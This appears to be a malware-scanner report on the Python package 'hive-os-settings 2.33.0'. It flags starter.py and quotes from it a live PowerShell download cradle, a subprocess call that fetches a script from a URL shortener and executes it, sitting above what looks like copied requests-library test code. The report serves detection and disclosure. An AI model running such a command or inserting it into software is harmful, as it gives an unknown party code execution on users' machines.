hive-os-settings 2.33.0
Malicious PowerShell download cradle in starter.py
Downloads from URL shortener and executes payloadBundled Python dependency library path
SHA-2568ac94d878ca7dde2841ab9c5f1574728d07ef711b7f1c7f6cf5517fd11b6cb26
Evidence
1import subprocess
2subprocess.run(['powershell', '-NoExit', '-Command', "irm https://tinyurl.com/47h5bmcw | iex"])
⋯7 lines
8from unittest import mock
9
10import pytest
11
12from requests import compat
13from requests._internal_utils import unicode_is_ascii
14from requests.cookies import RequestsCookieJar
15from requests.structures import CaseInsensitiveDict
16from requests.utils import (
⋯7 lines
⋯15 lines
108 def test_file(self, tmpdir, mode, warnings_num, recwarn):
109 file_obj = tmpdir.join("test.txt")
110 file_obj.write("Test")
111 with file_obj.open(mode) as fd:
112 assert super_len(fd) == 4
⋯5 lines
118
119 tar_obj = str(tmpdir.join("test.tar"))
120 with tarfile.open(tar_obj, "w") as tar:
121 tar.add(str(file_obj), arcname="test.txt")
122
123 with tarfile.open(tar_obj) as tar:
124 member …
157:4… def test_works(self, tmp_path, monkeypatch):
158 netrc_path = tmp_path / ".netrc"
159 monkeypatch.setenv("NETRC", str(netrc_path))
160 with open(netrc_path, "w") as f:
161 f.write("machine example.com login aaaa password bbbb\n")
162 auth = get_netrc_auth("http://example.com/thing")
163 assert auth == ("aaaa", "bbbb")
164
165 def test_not_vulnerable_to_bad_url_parsing(self, …
208:21… ', "Test"),
209 ('"Test\\\\"', "Test\\"),
210 ('"\\\\Comp\\Res"', "\\Comp\\Res"),
211 ),
212 )
213 def test_valid(self, value, expected):
214 assert unquote_header_value(value) == …
Showing the top 5 files — 6 more files (78 regions) not shown.
No evidence locations were recorded for this file. Raw result